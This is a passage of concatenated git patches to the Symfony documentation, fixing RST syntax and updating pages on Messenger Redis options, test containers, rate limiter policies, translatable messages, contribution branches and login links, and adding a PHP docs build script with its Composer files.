+    The ``delete_after_ack``, ``redeliver_timeout`` and ``claim_interval``
+    options were introduced in Symfony 5.1.
 
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~

From f79b26828e2bed575c0fbecf3860b9893103efe4 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Oct 2020 15:14:37 +0200
Subject: [PATCH 1407/7107] Syntax fix

---
 notifier/chatters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index b37d17c2040..9d03f83987c 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -101,7 +101,7 @@ some interactive options called `Block elements`_::
 .. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 
 Adding Interactions to a Discord Message
---------------------------------------
+----------------------------------------
 
 With a Discord message, you can use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add

From 55a6ad049d3c17b4a9c651aa5ecdf4dab5bec5c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 Oct 2020 15:24:54 +0200
Subject: [PATCH 1408/7107] Fixed a syntax issue

---
 messenger.rst | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index f2c2a8b65be..7f74be71dd6 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1160,21 +1160,21 @@ under the transport in ``messenger.yaml``:
 ===================  =====================================  =================================
      Option               Description                       Default
 ===================  =====================================  =================================
-stream              The Redis stream name                  messages
-group               The Redis consumer group name          symfony
-consumer            Consumer name used in Redis            consumer
-auto_setup          Create the Redis group automatically?  true
-auth                The Redis password
-delete_after_ack    If ``true``, messages are deleted      false
-                    automatically after processing them
-serializer          How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                    in Redis (the
-                    ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries  The maximum number of entries which    ``0`` (which means "no trimming")
-                    the stream will be trimmed to. Set
-                    it to a large enough number to
-                    avoid losing pending messages
-tls                 Enable TLS support for the connection  false
+stream               The Redis stream name                  messages
+group                The Redis consumer group name          symfony
+consumer             Consumer name used in Redis            consumer
+auto_setup           Create the Redis group automatically?  true
+auth                 The Redis password
+delete_after_ack     If ``true``, messages are deleted      false
+                     automatically after processing them
+serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                     in Redis (the
+                     ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
+                     the stream will be trimmed to. Set
+                     it to a large enough number to
+                     avoid losing pending messages
+tls                  Enable TLS support for the connection  false
 redeliver_timeout    Timeout before retrying a pending      ``3600``
                      message which is owned by an
                      abandoned consumer (if a worker died

From 436e2fc6183b80a5f39300d329b654f607ad25d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Aug 2020 15:06:43 +0200
Subject: [PATCH 1409/7107] [Testing] Updated the contents about getting the
 container in tests

---
 testing.rst | 91 ++++++++++++++++++++---------------------------------
 1 file changed, 34 insertions(+), 57 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4b64d504631..d5d0941b1ea 100644
--- a/testing.rst
+++ b/testing.rst
@@ -544,74 +544,51 @@ You can also get the objects related to the latest request::
 Accessing the Container
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-It's highly recommended that a functional test only tests the response. But
-under certain very rare circumstances, you might want to access some services
-to write assertions. Given that services are private by default, test classes
-define a property that stores a special container created by Symfony which
-allows fetching both public and all non-removed private services::
-
-    // gives access to the same services used in your test, unless you're using
-    // $client->insulate() or using real HTTP requests to test your application
-    // don't forget to call self::bootKernel() before, otherwise, the container
-    // will be empty
-    $container = self::$container;
-
-For a list of services available in your application, use the ``debug:container``
-command.
-
-If a private service is *never* used in your application (outside of your test),
-it is *removed* from the container and cannot be accessed as described above. In
-that case, you can create a public alias in the ``test`` environment and access
-it via that alias:
+Functional tests should only test the response (e.g. its contents or its HTTP
+status code). However, in some rare circumstances you may need to access the
+container to use some service.
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services_test.yaml
-        services:
-            # access the service in your test via
-            # self::$container->get('test.App\Test\SomeTestHelper')
-            test.App\Test\SomeTestHelper:
-                # the id of the private service
-                alias: 'App\Test\SomeTestHelper'
-                public: true
+First, you can get the same container used in the application, which only
+includes the public services::
 
-    .. code-block:: xml
-
-        <!-- config/services_test.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+    public function testSomething()
+    {
+        $client = self::createClient();
+        $container = $client->getContainer();
+        // $someService = $container->get('the-service-ID');
 
-            <services>
-                <!-- ... -->
+        // ...
+    }
 
-                <service id="test.App\Test\SomeTestHelper" alias="App\Test\SomeTestHelper" public="true"/>
-            </services>
-        </container>
+Symfony tests also have access to a special container that includes both the
+public services and the non-removed :ref:`private services <container-public>`
+services::
 
-    .. code-block:: php
+    public function testSomething()
+    {
+        // this call is needed; otherwise the container will be empty
+        self::bootKernel();
 
-        // config/services_test.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        $container = self::$container;
+        // $someService = $container->get('the-service-ID');
 
-        use App\Service\MessageGenerator;
-        use App\Service\SiteUpdateManager;
+        // ...
+    }
 
-        return function(ContainerConfigurator $configurator) {
-            // ...
+Finally, for the most rare edge-cases, Symfony includes a special container
+which provides access to all services, public and private. This special
+container is a service that can be get via the normal container::
 
-            $services->alias('test.App\Test\SomeTestHelper', 'App\Test\SomeTestHelper')->public();
-        };
+    public function testSomething()
+    {
+        $client = self::createClient();
+        $normalContainer = $client->getContainer();
+        $specialContainer = $normalContainer->get('test.service_container');
 
-.. tip::
+        // $somePrivateService = $specialContainer->get('the-service-ID');
 
-    The special container that gives access to private services exists only in
-    the ``test`` environment and is itself a service that you can get from the
-    real container using the ``test.service_container`` id.
+        // ...
+    }
 
 .. tip::
 

From 85b27e554a7e9b6a26e3358f51ca933eee90fec3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Oct 2020 13:46:16 +0200
Subject: [PATCH 1410/7107] [Messenger] Added Lazy option to redis

---
 messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 7f74be71dd6..6c2f2e35794 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1167,6 +1167,10 @@ auto_setup           Create the Redis group automatically?  true
 auth                 The Redis password
 delete_after_ack     If ``true``, messages are deleted      false
                      automatically after processing them
+delete_after_reject  If ``true``, messages are deleted      true
+                     automatically if they are rejected
+lazy                 Connect only when a connection is      false
+                     really needed
 serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
                      in Redis (the
                      ``Redis::OPT_SERIALIZER`` option)
@@ -1207,7 +1211,7 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
 .. versionadded:: 5.2
 
-    The ``delete_after_reject`` option was introduced in Symfony 5.2.
+    The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~

From 38da641b42976ddeef37903c4a0ddd64226f1bab Mon Sep 17 00:00:00 2001
From: Takashi Kanemoto <ttskch@gmail.com>
Date: Sat, 24 Oct 2020 18:50:56 +0900
Subject: [PATCH 1411/7107] Fix typo

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index d028fc2e713..371b986496c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -757,7 +757,7 @@ their type::
     $form['photo']->upload('/path/to/lucas.jpg');
 
     // In the case of a multiple file upload
-    $form['my_form[field][O]']->upload('/path/to/lucas.jpg');
+    $form['my_form[field][0]']->upload('/path/to/lucas.jpg');
     $form['my_form[field][1]']->upload('/path/to/lisa.jpg');
 
 .. tip::

From 87fe4cc0cc5ae0b0c30c254ba5ee38cc51e4f538 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 25 Oct 2020 07:58:38 +0100
Subject: [PATCH 1412/7107] Remove paragraph about .htaccess files

Htaccess files aren't in SF repository anymore (since sf4 and Flex, it's in the apache-pack optional recipe)
---
 setup/web_server_configuration.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 2fc2c74e648..e4fef9b3d99 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -374,13 +374,6 @@ The **minimum configuration** to get your application running under Nginx is:
     After you deploy to production, make sure that you **cannot** access the ``index.php``
     script (i.e. ``http://example.com/index.php``).
 
-.. note::
-
-    By default, Symfony applications include several ``.htaccess`` files to
-    configure redirections and to prevent unauthorized access to some sensitive
-    directories. Those files are only useful when using Apache, so you can
-    safely remove them when using Nginx.
-
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
 .. _`Apache documentation`: https://httpd.apache.org/docs/

From 2fcc6fe060af8fcdb7d7010130e535e548a6d919 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 25 Oct 2020 16:37:19 +0100
Subject: [PATCH 1413/7107] [RateLimit] Make sure we mention policy instead of
 limit

---
 rate_limiter.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 527357cc011..22a56168498 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -16,11 +16,11 @@ Symfony uses these rate limiters in built-in features like "login throttling",
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
-Rate Limiting Strategies
-------------------------
+Rate Limiting Policies
+----------------------
 
-Symfony's rate limiter implements some of the most common strategies to enforce
-rate limits: **fixed window**, **sliding window** and **token bucket**.
+Symfony's rate limiter implements some of the most common policies to enforce
+rate limits: **fixed window**, **sliding window**, **token bucket**.
 
 Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -86,12 +86,12 @@ enforce different levels of service (free or paid):
     framework:
         rate_limiter:
             anonymous_api:
-                # use 'sliding_window' if you prefer that strategy
-                strategy: 'fixed_window'
+                # use 'sliding_window' if you prefer that policy
+                policy: 'fixed_window'
                 limit: 100
                 interval: '60 minutes'
             authenticated_api:
-                strategy: 'token_bucket'
+                policy: 'token_bucket'
                 limit: 5000
                 rate: { interval: '15 minutes', amount: 500 }
 
@@ -124,13 +124,13 @@ the number of requests to the API::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
-    use Symfony\Component\RateLimiter\RateLimiter;
+    use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
         // if you're using service autowiring, the variable name must be:
         // "rate limiter name" (in camelCase) + "limiter" suffix
-        public function index(RateLimiter $anonymousApiLimiter)
+        public function index(RateLimiterFactory $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -171,11 +171,11 @@ using the ``reserve()`` method::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\RateLimiter\RateLimiter;
+    use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function registerUser(Request $request, RateLimiter $authenticatedApiLimiter)
+        public function registerUser(Request $request, RateLimiterFactory $authenticatedApiLimiter)
         {
             $apiKey = $request->headers->get('apikey');
             $limiter = $authenticatedApiLimiter->create($apiKey);
@@ -229,11 +229,11 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\RateLimiter\RateLimiter;
+    use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function index(RateLimiter $anonymousApiLimiter)
+        public function index(RateLimiterFactory $anonymousApiLimiter)
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();

From 3e0c21cc3eb8b8ed493b982a2c0c3cc77afb76aa Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 25 Oct 2020 16:39:18 +0100
Subject: [PATCH 1414/7107] Update wrong use statement

---
 translation.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index cb774e70f7a..4c4b4b9a07b 100644
--- a/translation.rst
+++ b/translation.rst
@@ -307,16 +307,16 @@ parts of your application and mocking it in your tests.
 
 Instead of translating a string at the time of creation, you can use a
 "translatable object", which is an instance of the
-:class:`Symfony\\Component\\Translation\\Translatable` class. This object stores
+:class:`Symfony\\Component\\Translation\\TranslatableMessage` class. This object stores
 all the information needed to fully translate its contents when needed::
 
-    use Symfony\Component\Translation\Translatable;
+    use Symfony\Component\Translation\TranslatableMessage;
 
     // the first argument is required and it's the original message
-    $message = new Translatable('Symfony is great!');
+    $message = new TranslatableMessage('Symfony is great!');
     // the optional second argument defines the translation parameters and
     // the optional third argument is the translation domain
-    $status = new Translatable('order.status', ['%status%' => $order->getStatus()], 'store');
+    $status = new TranslatableMessage('order.status', ['%status%' => $order->getStatus()], 'store');
 
 Templates are now much simpler because you can pass translatable objects to the
 ``trans`` filter:

From 08ded89b8f12598e8a65b694d2c208545cdd884a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Sun, 25 Oct 2020 11:46:38 +0100
Subject: [PATCH 1415/7107] Change "-t" to "--track" to be more explicit

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 1060e0d80a8..c0cd2259250 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -159,7 +159,7 @@ Or, if you want to provide a bug fix for the ``3.4`` branch, first track the rem
 
 .. code-block:: terminal
 
-    $ git checkout -t origin/3.4
+    $ git checkout --track origin/3.4
 
 Then create a new branch off the ``3.4`` branch to work on the bug fix:
 

From 42f4d233dc1269f94bce774879506fba76e30420 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Sun, 25 Oct 2020 11:27:09 +0100
Subject: [PATCH 1416/7107] Change branch "master" to "5.x"

Not sure if this is correct but I'm sure that I cannot find "master" anymore.
---
 contributing/code/pull_requests.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index c0cd2259250..816130b1168 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -129,7 +129,7 @@ work:
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
 
-* ``master``, if you are adding a new feature.
+* ``5.x``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (4.0, 5.0, etc.) comes out every two years. Because of the
@@ -142,7 +142,7 @@ work:
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
     for the ``3.4`` branch, the PR will also be applied by the core team on
-    the ``master`` branch.
+    the ``5.x`` branch.
 
 Create a Topic Branch
 ~~~~~~~~~~~~~~~~~~~~~
@@ -152,7 +152,7 @@ topic branch:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME master
+    $ git checkout -b BRANCH_NAME 5.x
 
 Or, if you want to provide a bug fix for the ``3.4`` branch, first track the remote
 ``3.4`` branch locally:
@@ -277,15 +277,15 @@ while to finish your changes):
 
 .. code-block:: terminal
 
-    $ git checkout master
+    $ git checkout 5.x
     $ git fetch upstream
-    $ git merge upstream/master
+    $ git merge upstream/5.x
     $ git checkout BRANCH_NAME
-    $ git rebase master
+    $ git rebase 5.x
 
 .. tip::
 
-    Replace ``master`` with the branch you selected previously (e.g. ``3.4``)
+    Replace ``5.x`` with the branch you selected previously (e.g. ``3.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -402,12 +402,12 @@ Rework your Pull Request
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
 Based on the feedback on the pull request, you might need to rework your
-PR. Before re-submitting the PR, rebase with ``upstream/master`` or
+PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
 ``upstream/3.4``, don't merge; and force the push to the origin:
 
 .. code-block:: terminal
 
-    $ git rebase -f upstream/master
+    $ git rebase -f upstream/5.x
     $ git push --force origin BRANCH_NAME
 
 .. note::

From 464904fa2d95fca3f3759e9c61162d1d5d2579ef Mon Sep 17 00:00:00 2001
From: Francois CONTE <fconte@users.noreply.github.com>
Date: Sat, 24 Oct 2020 22:20:51 +0200
Subject: [PATCH 1417/7107] [Security] Update examples of Login Link

---
 security/login_link.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 3db4f34f8eb..b92dd694178 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -253,7 +253,7 @@ number::
                     'Welcome to MY WEBSITE!' // email subject
                 );
                 // create a recipient for this user
-                $recipient = (new Recipient())->email($user->getEmail());
+                $recipient = new Recipient($user->getEmail());
 
                 // send the notification to the user
                 $notifier->send($notification, $recipient);
@@ -620,7 +620,7 @@ user create this POST request (e.g. by clicking a button)::
         /**
          * @Route("/login_check", name="login_check")
          */
-        public function check()
+        public function check(Request $request)
         {
             // get the login link query parameters
             $expires = $request->query->get('expires');

From 1776c69a192042c6999fafc629a88f3c5d646ad0 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Sun, 25 Oct 2020 23:53:32 +0100
Subject: [PATCH 1418/7107] [DependencyInjection] Fix markup of
 configuration-block

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 4a2b606c538..e62f75f7513 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -609,7 +609,7 @@ you can use the ``@required`` annotation instead.
 
 Despite property injection has some :ref:`drawbacks <property-injection>`,
 autowiring with ``#[Required]`` or ``@required`` can also be applied to public
-typed properties::
+typed properties:
 
 .. configuration-block::
 

From 5094d7f5e59a75b48279925822d58e16d538cb7d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 26 Oct 2020 11:50:23 +0100
Subject: [PATCH 1419/7107] Fixed table margin

---
 messenger.rst | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 3dce638cd70..e9253431bd4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1041,21 +1041,21 @@ under the transport in ``messenger.yaml``:
 ===================  =====================================  =================================
      Option               Description                       Default
 ===================  =====================================  =================================
-stream              The Redis stream name                  messages
-group               The Redis consumer group name          symfony
-consumer            Consumer name used in Redis            consumer
-auto_setup          Create the Redis group automatically?  true
-auth                The Redis password
-delete_after_ack    If ``true``, messages are deleted      false
-                    automatically after processing them
-serializer          How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                    in Redis (the
-                    ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries  The maximum number of entries which    ``0`` (which means "no trimming")
-                    the stream will be trimmed to. Set
-                    it to a large enough number to
-                    avoid losing pending messages
-tls                 Enable TLS support for the connection  false
+stream               The Redis stream name                  messages
+group                The Redis consumer group name          symfony
+consumer             Consumer name used in Redis            consumer
+auto_setup           Create the Redis group automatically?  true
+auth                 The Redis password
+delete_after_ack     If ``true``, messages are deleted      false
+                     automatically after processing them
+serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                     in Redis (the
+                     ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
+                     the stream will be trimmed to. Set
+                     it to a large enough number to
+                     avoid losing pending messages
+tls                  Enable TLS support for the connection  false
 redeliver_timeout    Timeout before retrying a pending      ``3600``
                      message which is owned by an
                      abandoned consumer (if a worker died

From 792968b78e2257368c6fb1dc3346d931a85c95fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 13:02:02 +0200
Subject: [PATCH 1420/7107] Add the new doc build system

---
 .gitignore           |    3 +
 _build/build.php     |   44 +
 _build/composer.json |   21 +
 _build/composer.lock | 2197 ++++++++++++++++++++++++++++++++++++++++++
 docs.json            |    3 +
 5 files changed, 2268 insertions(+)
 create mode 100755 _build/build.php
 create mode 100644 _build/composer.json
 create mode 100644 _build/composer.lock
 create mode 100644 docs.json

diff --git a/.gitignore b/.gitignore
index 6a20088680a..1d25940e5c8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,4 +1,7 @@
 /_build/doctrees
 /_build/spelling
 /_build/html
+/_build/logs.txt
+/_build/vendor
+/_build/output
 *.pyc
diff --git a/_build/build.php b/_build/build.php
new file mode 100755
index 00000000000..5a2fd660bda
--- /dev/null
+++ b/_build/build.php
@@ -0,0 +1,44 @@
+#!/usr/bin/env php
+<?php
+require __DIR__.'/vendor/autoload.php';
+
+use Symfony\Component\Console\Application;
+use Symfony\Component\Console\Input\InputInterface;
+use Symfony\Component\Console\Output\OutputInterface;
+use Symfony\Component\Process\Process;
+use Symfony\Component\Process\Exception\ProcessFailedException;
+use Symfony\Component\Console\Input\InputOption;
+
+(new Application('Symfony Docs Builder', '1.0'))
+    ->register('build-docs')
+    ->addOption('generate-fjson-files', null, InputOption::VALUE_NONE, 'Use this option to generate docs both in HTML and JSON formats')
+    ->addOption('disable-cache', null, InputOption::VALUE_NONE, 'Use this option to force a full regeneration of all doc contents')
+    ->setCode(function(InputInterface $input, OutputInterface $output) {
+        $command = [
+            'php',
+            'vendor/symfony/docs-builder/bin/console',
+            'build:docs',
+            sprintf('--save-errors=%s', __DIR__.'/logs.txt'),
+            __DIR__.'/../',
+            __DIR__.'/output/',
+        ];
+
+        if ($input->getOption('generate-fjson-files')) {
+            $command[] = '--output-json';
+        }
+
+        if ($input->getOption('disable-cache')) {
+            $command[] = '--disable-cache';
+        }
+
+        $process = new Process($command);
+        $process->setTimeout(3600);
+        $process->run();
+
+        if (!$process->isSuccessful()) {
+            throw new ProcessFailedException($process);
+        }
+    })
+    ->getApplication()
+    ->setDefaultCommand('build-docs', true)
+    ->run();
diff --git a/_build/composer.json b/_build/composer.json
new file mode 100644
index 00000000000..30de6365ecb
--- /dev/null
+++ b/_build/composer.json
@@ -0,0 +1,21 @@
+{
+    "minimum-stability": "dev",
+    "repositories": [
+        { "type": "git", "url": "https://github.com/weaverryan/docs-builder" }
+    ],
+    "config": {
+        "platform": {
+            "php": "7.2.9"
+        },
+        "preferred-install": {
+            "*": "dist"
+        },
+        "sort-packages": true
+    },
+    "require": {
+        "php": ">=7.2.9",
+        "symfony/console": "^4.1",
+        "symfony/docs-builder": "dev-master",
+        "symfony/process": "9999999-dev"
+    }
+}
diff --git a/_build/composer.lock b/_build/composer.lock
new file mode 100644
index 00000000000..101c85b4165
--- /dev/null
+++ b/_build/composer.lock
@@ -0,0 +1,2197 @@
+{
+    "_readme": [
+        "This file locks the dependencies of your project to a known state",
+        "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
+        "This file is @generated automatically"
+    ],
+    "content-hash": "6ee53de4a5225f7f273333a94e84fdd1",
+    "packages": [
+        {
+            "name": "doctrine/event-manager",
+            "version": "1.1.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/doctrine/event-manager.git",
+                "reference": "348f72ec92c7e0b1f5462f6616af2b448ba3cbb1"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/348f72ec92c7e0b1f5462f6616af2b448ba3cbb1",
+                "reference": "348f72ec92c7e0b1f5462f6616af2b448ba3cbb1",
+                "shasum": ""
+            },
+            "require": {
+                "php": "^7.1 || ^8.0"
+            },
+            "conflict": {
+                "doctrine/common": "<2.9@dev"
+            },
+            "require-dev": {
+                "doctrine/coding-standard": "^6.0",
+                "phpunit/phpunit": "^7.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.0.x-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Doctrine\\Common\\": "lib/Doctrine/Common"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Guilherme Blanco",
+                    "email": "guilhermeblanco@gmail.com"
+                },
+                {
+                    "name": "Roman Borschel",
+                    "email": "roman@code-factory.org"
+                },
+                {
+                    "name": "Benjamin Eberlei",
+                    "email": "kontakt@beberlei.de"
+                },
+                {
+                    "name": "Jonathan Wage",
+                    "email": "jonwage@gmail.com"
+                },
+                {
+                    "name": "Johannes Schmitt",
+                    "email": "schmittjoh@gmail.com"
+                },
+                {
+                    "name": "Marco Pivetta",
+                    "email": "ocramius@gmail.com"
+                }
+            ],
+            "description": "The Doctrine Event Manager is a simple PHP event system that was built to be used with the various Doctrine projects.",
+            "homepage": "https://www.doctrine-project.org/projects/event-manager.html",
+            "keywords": [
+                "event",
+                "event dispatcher",
+                "event manager",
+                "event system",
+                "events"
+            ],
+            "support": {
+                "issues": "https://github.com/doctrine/event-manager/issues",
+                "source": "https://github.com/doctrine/event-manager/tree/1.1.x"
+            },
+            "funding": [
+                {
+                    "url": "https://www.doctrine-project.org/sponsorship.html",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://www.patreon.com/phpdoctrine",
+                    "type": "patreon"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/doctrine%2Fevent-manager",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-05T12:08:55+00:00"
+        },
+        {
+            "name": "doctrine/rst-parser",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/doctrine/rst-parser.git",
+                "reference": "1873475b3791954f1ca1539d4063cfcbd1c9e351"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/1873475b3791954f1ca1539d4063cfcbd1c9e351",
+                "reference": "1873475b3791954f1ca1539d4063cfcbd1c9e351",
+                "shasum": ""
+            },
+            "require": {
+                "doctrine/event-manager": "^1.0",
+                "php": "^7.1",
+                "symfony/filesystem": "^4.1|^5.0",
+                "twig/twig": "^2.9.0"
+            },
+            "require-dev": {
+                "doctrine/coding-standard": "^6.0",
+                "gajus/dindent": "^2.0.2",
+                "phpstan/phpstan": "^0.10",
+                "phpstan/phpstan-deprecation-rules": "^0.10",
+                "phpstan/phpstan-phpunit": "^0.10",
+                "phpstan/phpstan-strict-rules": "^0.10",
+                "phpunit/phpunit": "^7.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "autoload": {
+                "psr-4": {
+                    "Doctrine\\RST\\": "lib/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Grégoire Passault",
+                    "email": "g.passault@gmail.com",
+                    "homepage": "http://www.gregwar.com/"
+                },
+                {
+                    "name": "Jonathan H. Wage",
+                    "email": "jonwage@gmail.com",
+                    "homepage": "https://jwage.com"
+                }
+            ],
+            "description": "PHP library to parse reStructuredText documents and generate HTML or LaTeX documents.",
+            "homepage": "https://github.com/doctrine/rst-parser",
+            "keywords": [
+                "html",
+                "latex",
+                "markup",
+                "parser",
+                "reStructuredText",
+                "rst"
+            ],
+            "support": {
+                "issues": "https://github.com/doctrine/rst-parser/issues",
+                "source": "https://github.com/doctrine/rst-parser/tree/master"
+            },
+            "time": "2020-10-23T00:13:24+00:00"
+        },
+        {
+            "name": "guzzlehttp/guzzle",
+            "version": "6.5.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/guzzle/guzzle.git",
+                "reference": "e8ed4dbf49b260ff129ff0e0400718c3269971bf"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/e8ed4dbf49b260ff129ff0e0400718c3269971bf",
+                "reference": "e8ed4dbf49b260ff129ff0e0400718c3269971bf",
+                "shasum": ""
+            },
+            "require": {
+                "ext-json": "*",
+                "guzzlehttp/promises": "^1.0",
+                "guzzlehttp/psr7": "^1.6.1",
+                "php": ">=5.5",
+                "symfony/polyfill-intl-idn": "^1.17.0"
+            },
+            "require-dev": {
+                "ext-curl": "*",
+                "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0",
+                "psr/log": "^1.1"
+            },
+            "suggest": {
+                "psr/log": "Required for using the Log middleware"
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "6.5-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "GuzzleHttp\\": "src/"
